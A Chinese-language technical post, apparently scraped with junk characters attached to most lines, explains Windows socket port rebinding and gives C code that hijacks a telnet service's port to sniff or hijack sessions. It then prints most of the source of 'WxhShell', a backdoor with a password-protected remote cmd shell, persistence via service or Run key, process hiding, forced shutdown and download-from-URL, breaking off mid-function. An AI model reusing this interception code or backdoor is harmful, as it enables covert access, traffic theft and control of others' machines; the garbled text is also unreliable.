在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
>A6lX) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
d+kIof, is,_r(S saddr.sin_family = AF_INET;
X#fI$9a Cs< d\"+ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
$Khc?v t_3XqjuA bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
P<U{jkM\/ FRr<K^M 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
+aMPwTF:3 }\B6d\k 这意味着什么?意味着可以进行如下的攻击:
sBh|y F, z>!b 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
?%?@?W>s@ awUIYAgJ3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
]Kd:ZmJ 9ItsK 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
^#Shs^#
dPS}\&1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
y37@4p^@9 W,vb7v' 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
#R &F %',.
K)IR 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
$?7}4u, \
FA7 +Q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
N.uw2Y% [b`k\~N4r #include
2`x[y?Tn #include
3a =KgOvp #include
^z_~e@U #include
r__uPyIMG/ DWORD WINAPI ClientThread(LPVOID lpParam);
?>e-6*. int main()
lUDzfJ}3 {
h_J'dJS WORD wVersionRequested;
,oR}0(^"\< DWORD ret;
KV Mm<]Z WSADATA wsaData;
EBJaFz' BOOL val;
r>5,U:6Q/ SOCKADDR_IN saddr;
*9G;n!t SOCKADDR_IN scaddr;
SJL?(S* int err;
9R!.U\sq SOCKET s;
R/iXO~/"J SOCKET sc;
'/mwXvl int caddsize;
&uC7W.| HANDLE mt;
P9gIKOOx#4 DWORD tid;
]R(=) wVersionRequested = MAKEWORD( 2, 2 );
J?V8uEly err = WSAStartup( wVersionRequested, &wsaData );
k#U?Xs> if ( err != 0 ) {
7 'N&jI printf("error!WSAStartup failed!\n");
rTQrlQ:@ return -1;
r'"H8>UZ% }
U:p<pTnMR saddr.sin_family = AF_INET;
XvWUJ6M ,?728pfw //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
v]BN. SHE_ `uY77co6 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
^+I{*0{/[ saddr.sin_port = htons(23);
26j ; RV if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
C"K(-/ {
,_HVPE printf("error!socket failed!\n");
x)s`j(pYC return -1;
Que- }
YajUdpJi val = TRUE;
//xxSk //SO_REUSEADDR选项就是可以实现端口重绑定的
|?g k%g if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
(wkeo{lx {
Bf.@B0\ printf("error!setsockopt failed!\n");
"4C b dD// return -1;
40+~;20 }
(k4> I"x) //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
THC34u] //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
R0vWj9nPh //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
B\`4TU}kE ry0P\wY} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
!IF#L0z {
p xjb^GZ0 ret=GetLastError();
Bg{"{poy printf("error!bind failed!\n");
-Z9e}$q$, return -1;
JHBX'1GQa }
X&b)E0]pR listen(s,2);
um~U_&> while(1)
D}OvD |<- {
<7-3j{065 caddsize = sizeof(scaddr);
rxJmK$qd //接受连接请求
A@4sb
W_
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
|bA\>%~ if(sc!=INVALID_SOCKET)
3U^E<H {
{94qsVxQZ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
O8qA2@, if(mt==NULL)
{wVj-w=<W {
F[5[@y printf("Thread Creat Failed!\n");
eT0Yp break;
c"~+Y2]tL }
J4EQhuQ }
u[k0z!p_ c CloseHandle(mt);
yL{X}:;} }
*Yj!f6 8 closesocket(s);
9l<f?OzAO WSACleanup();
~qekM>z return 0;
'W(!N%u }
DWORD WINAPI ClientThread(LPVOID lpParam)
zT4SI'r?f {
ap,%)on^ SOCKET ss = (SOCKET)lpParam;
=wEU+R_#o SOCKET sc;
_9*3Mr)2N unsigned char buf[4096];
,NB?_\$c SOCKADDR_IN saddr;
[M?'Nw/[S long num;
4Qwv:4La DWORD val;
r2"B" %; DWORD ret;
UaG
}) //如果是隐藏端口应用的话,可以在此处加一些判断
t*KgCk 1 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
G*` Y~SJp saddr.sin_family = AF_INET;
f-$%Ck$%, saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
gqw
]L>Z saddr.sin_port = htons(23);
l1 Nr5PT if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;tg9$P<85 {
?o$ hlX printf("error!socket failed!\n");
J%r$jpd' return -1;
(@X].oM^y }
TuR.'kE@ val = 100;
4b5'nu if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
JlaT
-j {
H.-VfROi2 ret = GetLastError();
J7a_a>Y return -1;
rW),xfo0 }
oQ
YmywY if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4}&$s {
D6z*J?3^#& ret = GetLastError();
@~g][O#Fu return -1;
Ry_"so w4 }
'z\$.L if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
V[#eeH)/ {
/N=;3yWF printf("error!socket connect failed!\n");
B\*"rSP\ closesocket(sc);
ebv"`0K$ closesocket(ss);
a\_?zi]s&, return -1;
*UxN~?N| }
E)ne
z while(1)
u]`ur#_ {
QTe>EJ12 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
3IB||oN$T //如果是嗅探内容的话,可以再此处进行内容分析和记录
!N"Y //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
C[c^zn
num = recv(ss,buf,4096,0);
U?/C>g%/PI if(num>0)
)b\89F send(sc,buf,num,0);
e:`d)GE else if(num==0)
7:Cq[u fl break;
MVDEVq0 num = recv(sc,buf,4096,0);
0vYHx V if(num>0)
MeCHn2zwB send(ss,buf,num,0);
3+~m 9:9 else if(num==0)
L>@:Xo@ break;
Fx!NRY_ }
g._`"c closesocket(ss);
&[#iM0;)W0 closesocket(sc);
lD+f{GR return 0 ;
]'q"Kw/10 }
Fm-D>PR jt5:rWB a|Yry ==========================================================
b_v {Q E< nA1059B
下边附上一个代码,,WXhSHELL
6O@/Y;5i u*w'.5l ==========================================================
4s_|6{ANS Rlyx&C8 #include "stdafx.h"
Tup2;\y 2WF7^$^: #include <stdio.h>
P[L] S7FTr #include <string.h>
zqJ0pDS #include <windows.h>
+5<]s+4T #include <winsock2.h>
X<p'& #include <winsvc.h>
x9Oo.[ #include <urlmon.h>
hAi`2GP. CO5>Q o #pragma comment (lib, "Ws2_32.lib")
K+P:g%M #pragma comment (lib, "urlmon.lib")
%Eq4>o?D P&$ m2^K #define MAX_USER 100 // 最大客户端连接数
}}s.0Q #define BUF_SOCK 200 // sock buffer
oEJYAKN #define KEY_BUFF 255 // 输入 buffer
&\p=s.y?j D #Ku5~j #define REBOOT 0 // 重启
Ew, 1*WK! #define SHUTDOWN 1 // 关机
6C@W6DR3N ca6kqh" #define DEF_PORT 5000 // 监听端口
0pW?v:!H HzdyfZ!jR #define REG_LEN 16 // 注册表键长度
qvH RP@ #define SVC_LEN 80 // NT服务名长度
G_cWp D/ jT:z#B% // 从dll定义API
+ 7~u_J typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
/$-Tg)o5i typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
v{2euOFE typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Kf>]M|G c typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
u6#FG9W7 $>*TO1gb+ // wxhshell配置信息
Y;I>rC( struct WSCFG {
P(|+1$#[ int ws_port; // 监听端口
n`TXmg char ws_passstr[REG_LEN]; // 口令
Pbo759q1 int ws_autoins; // 安装标记, 1=yes 0=no
aK+jpi4? char ws_regname[REG_LEN]; // 注册表键名
I UZ@n0/T char ws_svcname[REG_LEN]; // 服务名
K (!+l char ws_svcdisp[SVC_LEN]; // 服务显示名
?7k%4~H t char ws_svcdesc[SVC_LEN]; // 服务描述信息
=jEh# char ws_passmsg[SVC_LEN]; // 密码输入提示信息
yRdME>_L int ws_downexe; // 下载执行标记, 1=yes 0=no
VdC,M;/=Z char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
5vSJjhS char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|G(9mnZ1 FG@ ')N!g };
rdBF+YN9/? h8zl\ // default Wxhshell configuration
[$iKx6\ struct WSCFG wscfg={DEF_PORT,
"tX=^4 "xuhuanlingzhe",
BXj]]S2 1,
{37v.4d; "Wxhshell",
~k[mowz0 "Wxhshell",
40i]I@:JK "WxhShell Service",
D *Hy 2eZ. "Wrsky Windows CmdShell Service",
xhTiOt6l "Please Input Your Password: ",
>3SZD 1,
yKb+bm&5:' "
http://www.wrsky.com/wxhshell.exe",
NpLO_- "Wxhshell.exe"
YEiQ`sYKG };
Lbwc2Q,.- gq|]t<' // 消息定义模块
H="E#AC%8/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
6a MG!_jC char *msg_ws_prompt="\n\r? for help\n\r#>";
{1VMwANj char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
:d{-"RAG" char *msg_ws_ext="\n\rExit.";
!M*$pQi} char *msg_ws_end="\n\rQuit.";
XI/LVP,. char *msg_ws_boot="\n\rReboot...";
kaG@T,pH( char *msg_ws_poff="\n\rShutdown...";
&CcUr#|
char *msg_ws_down="\n\rSave to ";
EG;y@\] .KeZZLH char *msg_ws_err="\n\rErr!";
I/vQP+w O char *msg_ws_ok="\n\rOK!";
ze_q+Z 8G<{L0J%! char ExeFile[MAX_PATH];
/$Ca}> int nUser = 0;
e]Q bC" HANDLE handles[MAX_USER];
?y`we6~\1 int OsIsNt;
lk/[xQ/ B3NDx+%m SERVICE_STATUS serviceStatus;
#fQ}8UxU, SERVICE_STATUS_HANDLE hServiceStatusHandle;
BSd\Sg4 MUjfqxTT // 函数声明
F15Yn int Install(void);
^(c.AYI int Uninstall(void);
8H7=vk+ int DownloadFile(char *sURL, SOCKET wsh);
%Ix
int Boot(int flag);
8Ts_;uId void HideProc(void);
g*-%.fNA int GetOsVer(void);
u,&[I^WK`C int Wxhshell(SOCKET wsl);
Spm7kw void TalkWithClient(void *cs);
2zN"*Wkn int CmdShell(SOCKET sock);
>"?jW@|g int StartFromService(void);
>\s8S}p int StartWxhshell(LPSTR lpCmdLine);
U9/6F8D1Y1 .d?2Kc)SV\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
@en*JxIM VOID WINAPI NTServiceHandler( DWORD fdwControl );
!QXPn}q^0 i[7<l&K] // 数据结构和表定义
2M$^|j:[ SERVICE_TABLE_ENTRY DispatchTable[] =
n=1_- ) {
-Ed<Kl {wscfg.ws_svcname, NTServiceMain},
V
X"!a {NULL, NULL}
b2vCr F; };
sO$X5S C9 G W@g // 自我安装
EH~t< int Install(void)
WT_4YM\bz {
mR3-+dB/ char svExeFile[MAX_PATH];
5!V%0EQqw HKEY key;
q>5K:5 strcpy(svExeFile,ExeFile);
S(
Vssi|y ^X\SwgD2w // 如果是win9x系统,修改注册表设为自启动
ve&"x Nz< if(!OsIsNt) {
5u=$m^@{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/_{B_2i/> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
7%)KB4(\_ RegCloseKey(key);
BH3%dh:9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;'i>^zX` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<yg!D21Y RegCloseKey(key);
B$D7}=|kc return 0;
n~Qo@%Jr }
UY~N4IR8 }
t4[<N }
NDYm7X*et else {
2Sb68hJIE cD JeYduK // 如果是NT以上系统,安装为系统服务
`c.P`@KA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
{[:]}m(c if (schSCManager!=0)
F`8B PWUY {
~`Rb"Zn SC_HANDLE schService = CreateService
8kYI ~ (
u [Dz~ schSCManager,
>HL$=J_K? wscfg.ws_svcname,
,
aJC7'( wscfg.ws_svcdisp,
9kby-A4 SERVICE_ALL_ACCESS,
mO8E-D*3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
3!qp+i)? SERVICE_AUTO_START,
`&w{-om\ SERVICE_ERROR_NORMAL,
rF\L}& Sw svExeFile,
4Gor*{ NULL,
~9ynlVb7)r NULL,
:c}"a(| NULL,
u6MHdCJ0y NULL,
O]VHX![Y$ NULL
.u3Z*+ );
peD7X:K\s if (schService!=0)
H_vGa!_ {
/Dj-@7.C/ CloseServiceHandle(schService);
-J]j= CloseServiceHandle(schSCManager);
<1eD*sC?g strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
_2~+%{/m, strcat(svExeFile,wscfg.ws_svcname);
5lrjM^E| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
H{U(Rt]K RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
5[0W+W
RegCloseKey(key);
,?oC+9w return 0;
/|LQ?n }
h\lyt(.s }
:D:Y-cG*n< CloseServiceHandle(schSCManager);
GzEvp }
(U([T -H }
)uRR!<"~ PTP0 _|K return 1;
8z)J rO} }
-jWXE :3A^5}iz // 自我卸载
=k\Qx),Ir int Uninstall(void)
]Wg&r Y0 {
>41K>=K HKEY key;
1TlMB M~l\rg8 if(!OsIsNt) {
0WQd#l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7 0Wy]8<P RegDeleteValue(key,wscfg.ws_regname);
5b$QXO RegCloseKey(key);
z`:tl7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
F~C7$ RegDeleteValue(key,wscfg.ws_regname);
0lLg uBW@ RegCloseKey(key);
]6;G# return 0;
*3# RS }
ZKF
#(G }
;MH_pE/m }
ZLlAK ?N else {
@pN6uDD}R on.m
'-s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
[Wn6d: if (schSCManager!=0)
#3}!Q0 {
hka`STK{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
O&}`R5Y; if (schService!=0)
B4t,@,\O {
YJB/*SV^ if(DeleteService(schService)!=0) {
/[+qw%> CloseServiceHandle(schService);
=|V [^#V CloseServiceHandle(schSCManager);
;7U"wI_~c return 0;
4vyJ<b
}
)^7- qy CloseServiceHandle(schService);
_#y=T20'3 }
m2v'zJd}g CloseServiceHandle(schSCManager);
2Q)pT$ }
]zh6[0V7V }
Yv"-_ d~;U- return 1;
1EQLsg`d^ }
ZsN3 MbY :RDQP // 从指定url下载文件
d;v<rw int DownloadFile(char *sURL, SOCKET wsh)
.(Tf$V {
$D;-;5[-/r HRESULT hr;
:wz]d ~) char seps[]= "/";
I<!,_$: char *token;
R_gON*9 char *file;
HY,VJxR[ char myURL[MAX_PATH];
sWFw[Y> char myFILE[MAX_PATH];
@<z#a9 xV.UM8 strcpy(myURL,sURL);
hx
hs>eY token=strtok(myURL,seps);
>o5eyi while(token!=NULL)
^w*&7.Z {
Rf TG
5E) file=token;
,:pKNWY)Q token=strtok(NULL,seps);
J5SOPG }
d=/a{lP\ >x8~?)7z GetCurrentDirectory(MAX_PATH,myFILE);
;aImz*1%t strcat(myFILE, "\\");
bYwe/sR strcat(myFILE, file);
_Kg"l5?B send(wsh,myFILE,strlen(myFILE),0);
no9=K4h` send(wsh,"...",3,0);
%h}3}p#4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
\:>eZl? if(hr==S_OK)
r<pt_Cd return 0;
XL`i9kV? else
@!mjjeG+1 return 1;
kY#sQz}8 >=YQxm}GJ }
b X4]/4% lB(P+yY,/' // 系统电源模块
YzYj/,?r int Boot(int flag)
/Y8{? {
}u.1$Y HANDLE hToken;
A?H.EZ TOKEN_PRIVILEGES tkp;
%:Y'+!bX
hD,@>ky if(OsIsNt) {
VL2ACv( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
UQ~gjnb[c LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
3$PGLM tkp.PrivilegeCount = 1;
pXf5/u8& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
VE*&t>I AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Xagz(tm/ if(flag==REBOOT) {
PY[!H<tt if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
J-W8wCq` return 0;
tNYCyw{K }
c1h?aP else {
Z(hRwIOF if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
:JCe,1!3@ return 0;
]lA.? }
6B@{X^6y }
Jqqt@5Ni else {
g&O!w!T
if(flag==REBOOT) {
+A<7:`sO if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
p"QV| ` return 0;
'/@i}
digf }
`W{y else {
M~-jPY,+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
M(.Up return 0;
/igbn }
A#CG D0T }
xcC^9BAj ju(QSZ|; return 1;
`:5W1D( }
HfA@tZ5q|U <%=@Ue // win9x进程隐藏模块
zN>tSdNkI- void HideProc(void)
H)NT2@%{P {
Rs53R$PIR +6\1
d5 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
9`5qVM1O{ if ( hKernel != NULL )
qWw{c&{Q], {
O],]\M{GL pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
7-[^0qS ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
U&L?IT=x FreeLibrary(hKernel);
UE
K$ }
@mu=7_$U D]hwG0Chd return;
ItwJL` }
)k&!& B/bS: // 获取操作系统版本
z+X DN: int GetOsVer(void)
C%;J9(r {
e18}`<tW- OSVERSIONINFO winfo;
!f*t9 I9Q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Cm[^+.=I GetVersionEx(&winfo);
sU;aA0kz if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
qm|T<zsDY# return 1;
pR7 D3Q:^7 else
d1n*wVl return 0;
<amdPo+2D }
t"FB}%G 'L ]k\GO // 客户端句柄模块
H05U{vR int Wxhshell(SOCKET wsl)
K6e_RzP,.w {
mW_ N-z SOCKET wsh;
;09U*S$eK struct sockaddr_in client;
gIcm`5+T DWORD myID;
#B8V2_M 6"_ytqw7 while(nUser<MAX_USER)
NEcE-7aT {
zn/b\X/ int nSize=sizeof(client);
Q5/BEUkC wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
gshgl3 if(wsh==INVALID_SOCKET) return 1;
b[ .pD3 8B|B[,` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
[:bYd}J if(handles[nUser]==0)
mE3M$2} closesocket(wsh);
ec"+Il else
p|VgtQ/)% nUser++;
4'U #<8 }
Wf5ohXm> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
m7NrS?7 R^tDL return 0;
VT5o#NR{R }
D|X@aUp8} (xlAS // 关闭 socket
F!~o J void CloseIt(SOCKET wsh)
QOKE9R#Y {
_.K<#S closesocket(wsh);
i2m+s; nUser--;
xGo,x+U* ExitThread(0);
wsyAq'%L }
b%D}mxbS ky|Py // 客户端请求句柄
h-=lZ~W~ void TalkWithClient(void *cs)
t.= 1<Ed {
9e'9$-z Yb Dz{m SOCKET wsh=(SOCKET)cs;
w[?E
oFI$Y char pwd[SVC_LEN];
+oR wXO3W char cmd[KEY_BUFF];
+!)v=NY char chr[1];
GN@(!V#/4 int i,j;
K*fh`Kz U8icP+Y while (nUser < MAX_USER) {
o~={M7m $C~OV@I if(wscfg.ws_passstr) {
x/xd if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9ZXEy }q57 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
rT{+ h}vO //ZeroMemory(pwd,KEY_BUFF);
Z{spo= i=0;
[{cMEV& while(i<SVC_LEN) {
OAd}#R\U (| X? // 设置超时
)|CF)T- fd_set FdRead;
kSH|+K\M4 struct timeval TimeOut;
o2r)K AA FD_ZERO(&FdRead);
8@-
UvT&o FD_SET(wsh,&FdRead);
'n0u6hCSb TimeOut.tv_sec=8;
,pMH` TimeOut.tv_usec=0;
dsD!)$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
c(G;O)ikS if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
KiO1l{.s8n KL6FmL)HH if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
3F|#nq pwd
=chr[0]; b$G&i'd
if(chr[0]==0xd || chr[0]==0xa) { z 2Rg`1B
pwd=0; )TV{n#n
break; R3ru<u>k&
} 6;vfl*
i++; 9_<>#)u5
} FT+[[9i
k^v P|*eu
// 如果是非法用户,关闭 socket ?^z.WQ|f@
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E4dN,^_ F!
} '+*{u]\
+-+%6O<C
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =&xNdc
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #gd`X|<Ch
KG8Km
while(1) { >)p8^jX
^YwTO/Q|
ZeroMemory(cmd,KEY_BUFF); T`gR&n<D
XlHt(d0h
// 自动支持客户端 telnet标准 1T@#gE["Ic
j=0; o2#_CdU
while(j<KEY_BUFF) { ilpP"B
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
*aT\V64
cmd[j]=chr[0]; )mF;^3
if(chr[0]==0xa || chr[0]==0xd) { vS_Ji<W~E
cmd[j]=0; v"N%w1`.e
break; qL?`l;+
} |H7f@b]Sk
j++; uDXRw*rTv
} y o
|"-
sAec*Q(R
// 下载文件 B+8B<xZ
if(strstr(cmd,"http://")) { SWrP0Qjc
send(wsh,msg_ws_down,strlen(msg_ws_down),0); j`A 3N7;
if(DownloadFile(cmd,wsh)) -"Hy%wE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~v+A6N:qC
else NwPC9!*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); smTPca)7s
} hxQx$
else { c mI&R(
uF89B-t
switch(cmd[0]) { 236,o
{9e
8%W(",nd
// 帮助 1 /dy@'
case '?': { z.%K5vrO>
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^a+H`RD
break; sj& j\<(
} C`LHFqv
// 安装 lZ![?t}2`
case 'i': { c. ;}e:)s
if(Install()) qkk!1W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?z$^4u3
else IGC:zZ~z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O${B)C,
break; N,M[Opm
} LWp#i8,
// 卸载 0v/}W(
case 'r': { z1R_a=7
if(Uninstall()) PH]/*LEj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?ot7_ vl
else -SGoE=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o,yP9~8\
break; 1o*eu&@
} h~R= ?%H[
// 显示 wxhshell 所在路径 gJUawK
case 'p': { S%t*!
char svExeFile[MAX_PATH]; Q"+)xj
strcpy(svExeFile,"\n\r"); OPtFz6
strcat(svExeFile,ExeFile); YLVZ]fN=>
send(wsh,svExeFile,strlen(svExeFile),0); wq@{85
break; i,z^#b7JQ
} $63_*9
// 重启 aUTXg60l*
case 'b': { ta'{S=^j
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (o5^@aDr
if(Boot(REBOOT)) V0ig#?]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S7Tc9"oqV
else { @P@j9yR
closesocket(wsh); ]W9 {<+&
ExitThread(0); aIXN wnq
} HJ]9e
break; U6/$CH<pe
} 9nrmz>es|-
// 关机 td"D&1eQ@
case 'd': { EO:
VH
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8,DY0PGP
if(Boot(SHUTDOWN)) +8#hi5e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zOfMKrRG
else { H0P:t(<Gt
closesocket(wsh); 7)Y0D@wg
ExitThread(0); aR0'$*3E
} M8p6f)l3
break; Y;dQLZCC
} eF%>5
// 获取shell cFF'ygJ/
case 's': { BV@xE
CmdShell(wsh); ={]tklND
closesocket(wsh); :*6#(MX
ExitThread(0); ,u&K(Z%
break; |Y")$pjz
} "gCqb;^
// 退出 CL)*cu6zG
case 'x': { N" =$S|Gs
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XJI
ff$K
CloseIt(wsh); h:3^FV
break; :)eU)r"s4
} B65"jy
// 离开 k`u.:C&
case 'q': { ObyF~j}j
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ["65\GI?
closesocket(wsh); zHu w[
WSACleanup(); \zMx~-2oN
exit(1); _Q=h3(ZI
break; w$1B|7tX;2
} ZKp9k6
} T5gL
} l =Is-N`
ZtofDp5B
// 提示信息 D%%@+3a
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D]StDOmM
} "t!_bma
} "eb+O
!bGMVw6_
return; P'<D0
} hqwDlapTt
?Fp2W+M
j
// shell模块句柄 ?Zv>4+Y'
int CmdShell(SOCKET sock) ["7]EW\!:
{ >)6d~
STARTUPINFO si; id:6O+\
ZeroMemory(&si,sizeof(si)); iR39lOr
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \>N"{T
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L2}p<?f
PROCESS_INFORMATION ProcessInfo; oH>G3n|U^
char cmdline[]="cmd"; _p^&]eQ+k#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); agUdPl$e\
return 0; .jK,6't^
} %SKJ#b
og)f?4
// 自身启动模式 U3OXO1
int StartFromService(void) L[aA4`
{ E~K5n2CI
typedef struct l1uv]t <
{ $_orxu0W
DWORD ExitStatus; OZn40"`
DWORD PebBaseAddress; l`(pV ;{W
DWORD AffinityMask; \F5d
p
DWORD BasePriority; 8=Aoj%l#
